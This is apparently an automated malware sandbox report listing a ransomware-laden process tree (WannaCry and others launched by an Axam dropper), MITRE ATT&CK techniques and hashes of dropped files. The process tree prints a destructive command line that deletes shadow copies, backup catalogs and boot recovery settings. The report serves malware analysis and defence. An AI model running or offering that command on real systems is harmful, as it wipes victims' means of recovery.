                                                              !WannaDecryptor!.exe c
                                                              3⤵
                                                              • Executes dropped EXE
                                                              • System Location Discovery: System Language Discovery
                                                              • Suspicious use of SetWindowsHookEx
                                                              PID:6880
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              cmd.exe /c start /b !WannaDecryptor!.exe v
                                                              3⤵
                                                              • System Location Discovery: System Language Discovery
                                                              PID:7032
                                                              • C:\Users\Admin\AppData\Local\Temp\Files\!WannaDecryptor!.exe
                                                                !WannaDecryptor!.exe v
                                                                4⤵
                                                                • Executes dropped EXE
                                                                • System Location Discovery: System Language Discovery
                                                                • Suspicious use of SetWindowsHookEx
                                                                PID:6480
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                                                                  5⤵
                                                                  • System Location Discovery: System Language Discovery
                                                                  PID:6512
                                                                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                    wmic shadowcopy delete
                                                                    6⤵
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:1652
                                                            • C:\Users\Admin\AppData\Local\Temp\Files\!WannaDecryptor!.exe
                                                              !WannaDecryptor!.exe
                                                              3⤵
                                                              • Executes dropped EXE
                                                              • Sets desktop wallpaper using registry
                                                              • System Location Discovery: System Language Discovery
                                                              • Suspicious use of SetWindowsHookEx
                                                              PID:6516
                                                          • C:\Users\Admin\AppData\Local\Temp\Files\Axam.a.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\Files\Axam.a.exe"
                                                            2⤵
                                                            • Drops startup file
                                                            • Executes dropped EXE
                                                            • Adds Run key to start application
                                                            • System Location Discovery: System Language Discovery
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:4040
                                                          • C:\Users\Admin\AppData\Roaming\Axam.exe
                                                            "C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\Files\setup.exe"
                                                            2⤵
                                                            • Drops startup file
                                                            • Executes dropped EXE
                                                            • Adds Run key to start application
                                                            • System Location Discovery: System Language Discovery
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:6204
                                                          • C:\Users\Admin\AppData\Roaming\Axam.exe
                                                            "C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\Files\mimilove.exe"
                                                            2⤵
                                                            • Drops startup file
                                                            • Executes dropped EXE
                                                            • Adds Run key to start application
                                                            • System Location Discovery: System Language Discovery
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:6252
                                                          • C:\Users\Admin\AppData\Roaming\Axam.exe
                                                            "C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\Files\rsreport.exe"
                                                            2⤵
                                                            • Drops startup file
                                                            • Executes dropped EXE
                                                            • Adds Run key to start application
                                                            • System Location Discovery: System Language Discovery
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:6524
                                                          • C:\Users\Admin\AppData\Roaming\Axam.exe
                                                            "C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\Files\4J8576A0E8V3.exe"
                                                            2⤵
                                                            • Drops startup file
                                                            • Executes dropped EXE
                                                            • Adds Run key to start application
                                                            • System Location Discovery: System Language Discovery
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:6664
                                                          • C:\Users\Admin\AppData\Roaming\Axam.exe
                                                            "C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\Files\Rsvp_invite%23903388.exe"
                                                            2⤵
                                                            • Drops startup file
                                                            • Executes dropped EXE
                                                            • Adds Run key to start application
                                                            • System Location Discovery: System Language Discovery
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:6152
                                                          • C:\Users\Admin\AppData\Roaming\Axam.exe
                                                            "C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\Files\3e3ev3.exe"
                                                            2⤵
                                                            • Drops startup file
                                                            • Executes dropped EXE
                                                            • Adds Run key to start application
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:6220
                                                          • C:\Users\Admin\AppData\Roaming\Axam.exe
                                                            "C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\Files\bnoaprihjatuasss.exe"
                                                            2⤵
                                                            • Drops startup file
                                                            • Executes dropped EXE
                                                            • Adds Run key to start application
                                                            • System Location Discovery: System Language Discovery
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:6364
                                                          • C:\Users\Admin\AppData\Roaming\Axam.exe
                                                            "C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\Files\PowerRat.exe"
                                                            2⤵
                                                            • Drops startup file
                                                            • Executes dropped EXE
                                                            • Adds Run key to start application
                                                            • System Location Discovery: System Language Discovery
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:6276
                                                          • C:\Users\Admin\AppData\Roaming\Axam.exe
                                                            "C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\Files\update.exe"
                                                            2⤵
                                                            • Drops startup file
                                                            • Executes dropped EXE
                                                            • Adds Run key to start application
                                                            • System Location Discovery: System Language Discovery
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:6932
                                                          • C:\Users\Admin\AppData\Roaming\Axam.exe
                                                            "C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\Files\writedat.exe"
                                                            2⤵
                                                            • Drops startup file
                                                            • Executes dropped EXE
                                                            • Adds Run key to start application
                                                            • System Location Discovery: System Language Discovery
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:2380
                                                          • C:\Users\Admin\AppData\Roaming\Axam.exe
                                                            "C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\Files\namu864.exe"
                                                            2⤵
                                                            • Drops startup file
                                                            • Executes dropped EXE
                                                            • Adds Run key to start application
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:4848
                                                          • C:\Users\Admin\AppData\Roaming\Axam.exe
                                                            "C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\Files\AdaptorOvernight.exe"
                                                            2⤵
                                                            • Drops startup file
                                                            • Executes dropped EXE
                                                            • Adds Run key to start application
                                                            • System Location Discovery: System Language Discovery
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:6864
                                                          • C:\Users\Admin\AppData\Roaming\Axam.exe
                                                            "C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\Files\eagleClient004.exe"
                                                            2⤵
                                                            • Drops startup file
                                                            • Executes dropped EXE
                                                            • Adds Run key to start application
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:5968
                                                          • C:\Users\Admin\AppData\Roaming\Axam.exe
                                                            "C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\Files\hailhydra.exe"
                                                            2⤵
                                                            • Drops startup file
                                                            • Executes dropped EXE
                                                            • Adds Run key to start application
                                                            • System Location Discovery: System Language Discovery
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:1652
                                                          • C:\Users\Admin\AppData\Roaming\Axam.exe
                                                            "C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\Files\PDFConverter_P2W154-zx-666.exe"
                                                            2⤵
                                                            • Drops startup file
                                                            • Executes dropped EXE
                                                            • Adds Run key to start application
                                                            • System Location Discovery: System Language Discovery
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:7376
                                                          • C:\Users\Admin\AppData\Roaming\Axam.exe
                                                            "C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\Files\ntladlklthawd.exe"
                                                            2⤵
                                                            • Drops startup file
                                                            • Executes dropped EXE
                                                            • Adds Run key to start application
                                                            • System Location Discovery: System Language Discovery
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:7456
                                                          • C:\Users\Admin\AppData\Roaming\Axam.exe
                                                            "C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\Files\pdf.exe"
                                                            2⤵
                                                            • Drops startup file
                                                            • Executes dropped EXE
                                                            • Adds Run key to start application
                                                            • System Location Discovery: System Language Discovery
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:7528
                                                          • C:\Users\Admin\AppData\Roaming\Axam.exe
                                                            "C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\Files\x64-setup.exe"
                                                            2⤵
                                                            • Drops startup file
                                                            • Executes dropped EXE
                                                            • Adds Run key to start application
                                                            • System Location Discovery: System Language Discovery
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:7620
                                                          • C:\Users\Admin\AppData\Roaming\Axam.exe
                                                            "C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\Files\3.exe"
                                                            2⤵
                                                            • Drops startup file
                                                            • Executes dropped EXE
                                                            • Adds Run key to start application
                                                            • System Location Discovery: System Language Discovery
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:7700
                                                          • C:\Users\Admin\AppData\Roaming\Axam.exe
                                                            "C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\Files\CoronaVirus.exe"
                                                            2⤵
                                                            • Drops startup file
                                                            • Executes dropped EXE
                                                            • Adds Run key to start application
                                                            • System Location Discovery: System Language Discovery
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:7792
                                                          • C:\Users\Admin\AppData\Roaming\Axam.exe
                                                            "C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\Files\KuaiZip_Setup_-808202126_xiaopeng2_001.exe"
                                                            2⤵
                                                            • Drops startup file
                                                            • Adds Run key to start application
                                                            • System Location Discovery: System Language Discovery
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:7328
                                                          • C:\Users\Admin\AppData\Roaming\Axam.exe
                                                            "C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\Files\process-injection.exe"
                                                            2⤵
                                                            • Drops startup file
                                                            • Adds Run key to start application
                                                            • System Location Discovery: System Language Discovery
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:1548
                                                          • C:\Users\Admin\AppData\Roaming\Axam.exe
                                                            "C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\Files\stealinfo.exe"
                                                            2⤵
                                                            • Drops startup file
                                                            • Adds Run key to start application
                                                            • System Location Discovery: System Language Discovery
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:7548
                                                          • C:\Users\Admin\AppData\Roaming\Axam.exe
                                                            "C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\Files\G7_Update.exe"
                                                            2⤵
                                                            • Drops startup file
                                                            • Adds Run key to start application
                                                            • System Location Discovery: System Language Discovery
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:7728
                                                          • C:\Users\Admin\AppData\Roaming\Axam.exe
                                                            "C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\Files\Isass.exe"
                                                            2⤵
                                                            • Drops startup file
                                                            • Adds Run key to start application
                                                            • System Location Discovery: System Language Discovery
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:7948
                                                        • C:\Windows\system32\msiexec.exe
                                                          C:\Windows\system32\msiexec.exe /V
                                                          1⤵
                                                          • Enumerates connected drives
                                                          • Drops file in Program Files directory
                                                          • Drops file in Windows directory
                                                          • Modifies data under HKEY_USERS
                                                          • Modifies registry class
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          • Suspicious use of WriteProcessMemory
                                                          PID:5500
                                                          • C:\Windows\syswow64\MsiExec.exe
                                                            C:\Windows\syswow64\MsiExec.exe -Embedding E98679FED7C8487F4AB2033F0997140B C
                                                            2⤵
                                                            • Loads dropped DLL
                                                            • System Location Discovery: System Language Discovery
                                                            • Suspicious use of WriteProcessMemory
                                                            PID:5764
                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI4234.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240665406 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
                                                              3⤵
                                                              • Loads dropped DLL
                                                              • System Location Discovery: System Language Discovery
                                                              PID:2136
                                                          • C:\Windows\system32\srtasks.exe
                                                            C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
                                                            2⤵
                                                              PID:1176
                                                            • C:\Windows\syswow64\MsiExec.exe
                                                              C:\Windows\syswow64\MsiExec.exe -Embedding 7ECBA85236B6CEF2FE402463D90D0C7C
                                                              2⤵
                                                              • System Location Discovery: System Language Discovery
                                                              PID:2848
                                                          • C:\Windows\system32\vssvc.exe
                                                            C:\Windows\system32\vssvc.exe
                                                            1⤵
                                                            • Checks SCSI registry key(s)
                                                            PID:244
                                                          • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                            "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                            1⤵
                                                              PID:384
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                              1⤵
                                                                PID:1032
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                1⤵
                                                                  PID:3176
                                                                • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                  "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                  1⤵
                                                                    PID:1768
                                                                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                    1⤵
                                                                      PID:1240
                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                      1⤵
                                                                        PID:5520
                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                        1⤵
                                                                          PID:5004
                                                                        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                          1⤵
                                                                            PID:3996
                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                            1⤵
                                                                              PID:3500
                                                                            • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                              "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                              1⤵
                                                                                PID:2688
                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                1⤵
                                                                                  PID:3476
                                                                                • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                  1⤵
                                                                                    PID:2436
                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                    1⤵
                                                                                      PID:3152
                                                                                    • C:\Users\Admin\AppData\Local\Temp\Files\WannaCry.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\Files\WannaCry.exe" /r
                                                                                      1⤵
                                                                                      • Executes dropped EXE
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:912
                                                                                    • C:\Users\Admin\AppData\Roaming\Axam.exe
                                                                                      C:\Users\Admin\AppData\Roaming\Axam.exe
                                                                                      1⤵
                                                                                      • Drops startup file
                                                                                      • Executes dropped EXE
                                                                                      • Adds Run key to start application
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      • Modifies registry class
                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                      PID:5744
                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                      1⤵
                                                                                        PID:7172
                                                                                      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                        1⤵
                                                                                          PID:7208
                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                          1⤵
                                                                                            PID:7232
                                                                                          • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                            1⤵
                                                                                              PID:7280
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                              1⤵
                                                                                                PID:7512
                                                                                              • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                1⤵
                                                                                                  PID:5920
                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                                  1⤵
                                                                                                    PID:436
                                                                                                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                    1⤵
                                                                                                      PID:7692
                                                                                                    • C:\ProgramData\bnv_Valid\PReflector64.exe
                                                                                                      C:\ProgramData\bnv_Valid\PReflector64.exe
                                                                                                      1⤵
                                                                                                      • Suspicious use of SetThreadContext
                                                                                                      • Suspicious behavior: MapViewOfSection
                                                                                                      PID:1500
                                                                                                      • C:\Users\Admin\AppData\Local\SignHandler.exe
                                                                                                        C:\Users\Admin\AppData\Local\SignHandler.exe
                                                                                                        2⤵
                                                                                                          PID:8444
                                                                                                        • C:\Users\Admin\AppData\Roaming\bnv_Valid\XPFix.exe
                                                                                                          "C:\Users\Admin\AppData\Roaming\bnv_Valid\XPFix.exe" "C:\Users\Admin\AppData\Roaming\bnv_Valid\XPFix.exe" /u
                                                                                                          2⤵
                                                                                                            PID:8800

                                                                                                        Network

                                                                                                              MITRE ATT&CK Enterprise v16

                                                                                                              Reconnaissance

                                                                                                              Resource Development

                                                                                                              Initial Access

                                                                                                              Execution

                                                                                                              Command and Scripting Interpreter

                                                                                                              1
                                                                                                              T1059

                                                                                                              PowerShell

                                                                                                              1
                                                                                                              T1059.001

                                                                                                              Scheduled Task/Job

                                                                                                              1
                                                                                                              T1053

                                                                                                              Scheduled Task

                                                                                                              1
                                                                                                              T1053.005

                                                                                                              Windows Management Instrumentation

                                                                                                              1
                                                                                                              T1047

                                                                                                              Persistence

                                                                                                              Boot or Logon Autostart Execution

                                                                                                              1
                                                                                                              T1547

                                                                                                              Registry Run Keys / Startup Folder

                                                                                                              1
                                                                                                              T1547.001

                                                                                                              Scheduled Task/Job

                                                                                                              1
                                                                                                              T1053

                                                                                                              Scheduled Task

                                                                                                              1
                                                                                                              T1053.005

                                                                                                              Privilege Escalation

                                                                                                              Boot or Logon Autostart Execution

                                                                                                              1
                                                                                                              T1547

                                                                                                              Registry Run Keys / Startup Folder

                                                                                                              1
                                                                                                              T1547.001

                                                                                                              Scheduled Task/Job

                                                                                                              1
                                                                                                              T1053

                                                                                                              Scheduled Task

                                                                                                              1
                                                                                                              T1053.005

                                                                                                              Defense Evasion

                                                                                                              File and Directory Permissions Modification

                                                                                                              1
                                                                                                              T1222

                                                                                                              Hide Artifacts

                                                                                                              1
                                                                                                              T1564

                                                                                                              Hidden Files and Directories

                                                                                                              1
                                                                                                              T1564.001

                                                                                                              Indicator Removal

                                                                                                              1
                                                                                                              T1070

                                                                                                              File Deletion

                                                                                                              1
                                                                                                              T1070.004

                                                                                                              Modify Registry

                                                                                                              3
                                                                                                              T1112

                                                                                                              Subvert Trust Controls

                                                                                                              1
                                                                                                              T1553

                                                                                                              Install Root Certificate

                                                                                                              1
                                                                                                              T1553.004

                                                                                                              Virtualization/Sandbox Evasion

                                                                                                              2
                                                                                                              T1497

                                                                                                              Credential Access

                                                                                                              Credentials from Password Stores

                                                                                                              2
                                                                                                              T1555

                                                                                                              Credentials from Web Browsers

                                                                                                              1
                                                                                                              T1555.003

                                                                                                              Windows Credential Manager

                                                                                                              1
                                                                                                              T1555.004

                                                                                                              Unsecured Credentials

                                                                                                              5
                                                                                                              T1552

                                                                                                              Credentials In Files

                                                                                                              4
                                                                                                              T1552.001

                                                                                                              Credentials in Registry

                                                                                                              1
                                                                                                              T1552.002

                                                                                                              Discovery

                                                                                                              Browser Information Discovery

                                                                                                              1
                                                                                                              T1217

                                                                                                              Peripheral Device Discovery

                                                                                                              2
                                                                                                              T1120

                                                                                                              Query Registry

                                                                                                              6
                                                                                                              T1012

                                                                                                              System Information Discovery

                                                                                                              5
                                                                                                              T1082

                                                                                                              System Location Discovery

                                                                                                              1
                                                                                                              T1614

                                                                                                              System Language Discovery

                                                                                                              1
                                                                                                              T1614.001

                                                                                                              Virtualization/Sandbox Evasion

                                                                                                              2
                                                                                                              T1497

                                                                                                              Lateral Movement

                                                                                                              Collection

                                                                                                              Data from Local System

                                                                                                              4
                                                                                                              T1005

                                                                                                              Command and Control

                                                                                                              Web Service

                                                                                                              1
                                                                                                              T1102

                                                                                                              Exfiltration

                                                                                                              Impact

                                                                                                              Defacement

                                                                                                              1
                                                                                                              T1491

                                                                                                              Inhibit System Recovery

                                                                                                              1
                                                                                                              T1490

                                                                                                              Replay Monitor

                                                                                                              Loading Replay Monitor...

                                                                                                              Downloads

                                                                                                              !WannaDecryptor!.exe.lnk
                                                                                                              • Path C:\!WannaDecryptor!.exe.lnk
                                                                                                              • Size 1KB
                                                                                                              • SHA256 f43946fb254a708713c704610cacad28047d005b2b4695c839e9bfcc618c394a
                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                              Submit Download

                                                                                                              e589650.rbs
                                                                                                              • Path C:\Config.Msi\e589650.rbs
                                                                                                              • Size 10KB
                                                                                                              • SHA256 fefb4300344748cd5e437f27d9d976e7b78ca4fbbe0ef8bc3ea156a399a33093
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              svchost.exe
                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe
                                                                                                              • Size 6.0MB
                                                                                                              • SHA256 8280a51489db08b008bc0d14cb37f83abacbb009c82618e7f81e5363af701851
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              !Please Read Me!.txt
                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\Files\!Please Read Me!.txt
                                                                                                              • Size 797B
                                                                                                              • SHA256 227082c719fd4394c1f2311a0877d8a302c5b092bcc49f853a5cf3d2945f42b0
                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                              Submit Download

                                                                                                              02.08.2022.exe
                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\Files\02.08.2022.exe
                                                                                                              • Size 242KB
                                                                                                              • SHA256 d41b51305b58c726e68cfbf461d4d64a7f73b087bf8b296c1a5ec92acc998fed
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              3.exe
                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\Files\3.exe
                                                                                                              • Size 8.3MB
                                                                                                              • SHA256 9213b2fbce84b1f8a824d6475831100538944bac794e12fc542d733b3b2201eb
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              3e3ev3.exe
                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\Files\3e3ev3.exe
                                                                                                              • Size 137KB
                                                                                                              • SHA256 136bd15d4ff47dcccd978cf7ec45cc939976b7c6f1be4ec646f3d7847eba56e7
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              4J8576A0E8V3.exe
                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\Files\4J8576A0E8V3.exe
                                                                                                              • Size 2.6MB
                                                                                                              • SHA256 ea28b85e97fdfe77335e8625586212f0df64ceee15c8290d17b75e6096694d81
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              AdaptorOvernight.exe
                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\Files\AdaptorOvernight.exe
                                                                                                              • Size 25.0MB
                                                                                                              • SHA256 47fa886618e66e730a11f7a37be8ab0371709624a0ad26e7370c0220bdd4786d
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              Axam.a.exe
                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\Files\Axam.a.exe
                                                                                                              • Size 11KB
                                                                                                              • SHA256 4ae7d63ec497143c2acde1ba79f1d9eed80086a420b6f0a07b1e2917da0a6c74
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              CG100.exe
                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\Files\CG100.exe
                                                                                                              • Size 12.5MB
                                                                                                              • SHA256 ff1e7a4dbc36e8029fa4275a97a4a6cbf936a649447985f5ddce6432238432ed
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              CoronaVirus.exe
                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\Files\CoronaVirus.exe
                                                                                                              • Size 1.0MB
                                                                                                              • SHA256 dddf7894b2e6aafa1903384759d68455c3a4a8348a7e2da3bd272555eba9bec0
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              G7_Update.exe
                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\Files\G7_Update.exe
                                                                                                              • Size 218KB
                                                                                                              • SHA256 6976b474677ccdc95117332b7da88fa578b9e40b4e4da75874dcc665893ae324
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              IcarusLite-v1.1.13-win.exe
                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\Files\IcarusLite-v1.1.13-win.exe
                                                                                                              • Size 8.9MB
                                                                                                              • SHA256 3ee6cfd07624d3c962a5f05ace145da03ec3e33fa9a713924b91d46bc4eb8916
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              Isass.exe
                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\Files\Isass.exe
                                                                                                              • Size 12.8MB
                                                                                                              • SHA256 a86e436fa0306a85c466934a0bca5ab3797a345eedfda1ded7614d84b965e525
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              KuaiZip_Setup_-808202126_xiaopeng2_001.exe
                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\Files\KuaiZip_Setup_-808202126_xiaopeng2_001.exe
                                                                                                              • Size 7.1MB
                                                                                                              • SHA256 4e9aae4c2f3197b2f96b7e180120c74c1e599520f8b72ef1e256c8e08b7df1bd
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              NAMUVPN7.exe
                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\Files\NAMUVPN7.exe
                                                                                                              • Size 300KB
                                                                                                              • SHA256 2f86fe2e62e4c21d0dbaea6b9487bfa64742ce7d00e548ac95935c4769094a3e
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              PDFConverter_P2W154-zx-666.exe
